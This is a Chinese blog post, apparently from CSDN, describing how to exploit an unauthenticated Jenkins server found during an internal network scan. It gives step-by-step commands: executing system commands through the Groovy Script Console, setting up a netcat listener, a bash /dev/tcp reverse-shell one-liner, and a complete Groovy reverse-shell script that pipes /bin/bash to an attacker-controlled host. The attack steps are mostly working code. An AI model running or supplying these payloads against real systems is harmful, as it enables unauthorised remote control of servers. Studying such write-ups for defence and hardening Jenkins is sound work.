Jenkins未授权访问+命令执行反弹shell(复现)

文章介绍了如何利用未授权访问的Jenkins服务进行命令执行,具体步骤包括通过fscan扫描到Jenkins服务器,无密码直接进入后台,在系统管理的脚本命令行执行Groovy脚本进行命令操作,以及如何在Kali上设置监听并使用在线工具生成反弹shell命令,在Jenkins中执行该命令建立连接。
摘要由CSDN通过智能技术生成

Jenkins未授权访问+命令执行反弹shell(复现)

1、打内网的时候通过fscan扫到了一台Jenkins服务的机子

  

浏览器访问发现没有Jenkins没有设置密码,直接就未授权进后台了

 

2、在系统管理->脚本命令行

可命令执行

println "whoami".execute().text

 

3、反弹shell

3.1在kali上设置监听

 

nc -lvvp 1333

 

3.2在菱角社区搞一个反弹shell命令在线生成

网址:[~]#棱角 ::Edge.Forum* (ywhack.com)

这里我们随便拿一个

bash -i >& /dev/tcp/kali的ip/监听端口 0>&1

3.3在Jenkins的脚本命令行执行反弹shell命令

代码如下

反弹shell

groovy 是一种 java 扩展语言,java 我们大致了解过皮毛,可以在idea新建项目,经过简单调整格式,本地测试可以运行,String cmdshell 模式,在 win 下是 cmd.exe ,在linux下是/bin/bash

String host="x.x.x.x";
int port=1333;
String cmd="/bin/bash";
//ProcessBuilder创建操作系统进程
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed())
{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());
    while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try
{p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值